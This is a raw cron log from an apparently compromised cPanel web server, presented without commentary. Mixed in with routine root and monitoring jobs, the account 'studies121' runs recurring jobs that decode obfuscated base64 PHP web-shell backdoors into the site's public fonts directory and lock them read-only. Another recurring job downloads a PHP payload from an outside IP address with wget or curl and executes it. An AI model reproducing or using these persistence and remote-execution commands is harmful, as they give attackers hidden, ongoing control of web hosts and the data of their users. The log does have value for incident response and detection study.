Sep  9 19:42:01 ip-184-168-122-23 CROND[4631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:42:01 ip-184-168-122-23 CROND[4633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:42:01 ip-184-168-122-23 CROND[4630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:43:01 ip-184-168-122-23 CROND[4710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:43:01 ip-184-168-122-23 CROND[4711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:43:01 ip-184-168-122-23 CROND[4712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:43:01 ip-184-168-122-23 CROND[4714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:44:01 ip-184-168-122-23 CROND[4792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:44:01 ip-184-168-122-23 CROND[4794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:44:01 ip-184-168-122-23 CROND[4795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:44:01 ip-184-168-122-23 CROND[4797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:44:01 ip-184-168-122-23 CROND[4798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:45:01 ip-184-168-122-23 CROND[4973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:45:01 ip-184-168-122-23 CROND[4975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:45:01 ip-184-168-122-23 CROND[4976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:45:01 ip-184-168-122-23 CROND[4977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:45:01 ip-184-168-122-23 CROND[4978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:45:01 ip-184-168-122-23 CROND[4979]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:46:01 ip-184-168-122-23 CROND[5068]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 19:46:01 ip-184-168-122-23 CROND[5070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:46:01 ip-184-168-122-23 CROND[5071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:46:01 ip-184-168-122-23 CROND[5075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:46:01 ip-184-168-122-23 CROND[5074]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 19:46:01 ip-184-168-122-23 CROND[5072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:46:01 ip-184-168-122-23 CROND[5073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:47:01 ip-184-168-122-23 CROND[5171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:47:01 ip-184-168-122-23 CROND[5175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:47:01 ip-184-168-122-23 CROND[5173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:47:01 ip-184-168-122-23 CROND[5174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:48:01 ip-184-168-122-23 CROND[5265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:48:01 ip-184-168-122-23 CROND[5267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:48:01 ip-184-168-122-23 CROND[5268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:48:01 ip-184-168-122-23 CROND[5270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:48:01 ip-184-168-122-23 CROND[5269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:49:01 ip-184-168-122-23 CROND[5365]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 19:49:02 ip-184-168-122-23 CROND[5366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:49:02 ip-184-168-122-23 CROND[5368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:49:02 ip-184-168-122-23 CROND[5370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:49:02 ip-184-168-122-23 CROND[5369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:50:01 ip-184-168-122-23 CROND[5471]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 19:50:01 ip-184-168-122-23 CROND[5473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:50:01 ip-184-168-122-23 CROND[5474]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 19:50:01 ip-184-168-122-23 CROND[5476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:50:01 ip-184-168-122-23 CROND[5475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:50:01 ip-184-168-122-23 CROND[5478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:50:01 ip-184-168-122-23 CROND[5486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:50:01 ip-184-168-122-23 CROND[5487]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:50:01 ip-184-168-122-23 CROND[5484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:51:01 ip-184-168-122-23 CROND[5598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:51:01 ip-184-168-122-23 CROND[5601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:51:01 ip-184-168-122-23 CROND[5600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:51:01 ip-184-168-122-23 CROND[5602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:52:01 ip-184-168-122-23 CROND[5775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:52:01 ip-184-168-122-23 CROND[5777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:52:01 ip-184-168-122-23 CROND[5776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:52:01 ip-184-168-122-23 CROND[5780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:52:01 ip-184-168-122-23 CROND[5778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:53:01 ip-184-168-122-23 CROND[5868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:53:02 ip-184-168-122-23 CROND[5870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:53:02 ip-184-168-122-23 CROND[5872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:53:02 ip-184-168-122-23 CROND[5871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:54:01 ip-184-168-122-23 CROND[5950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:54:01 ip-184-168-122-23 CROND[5949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
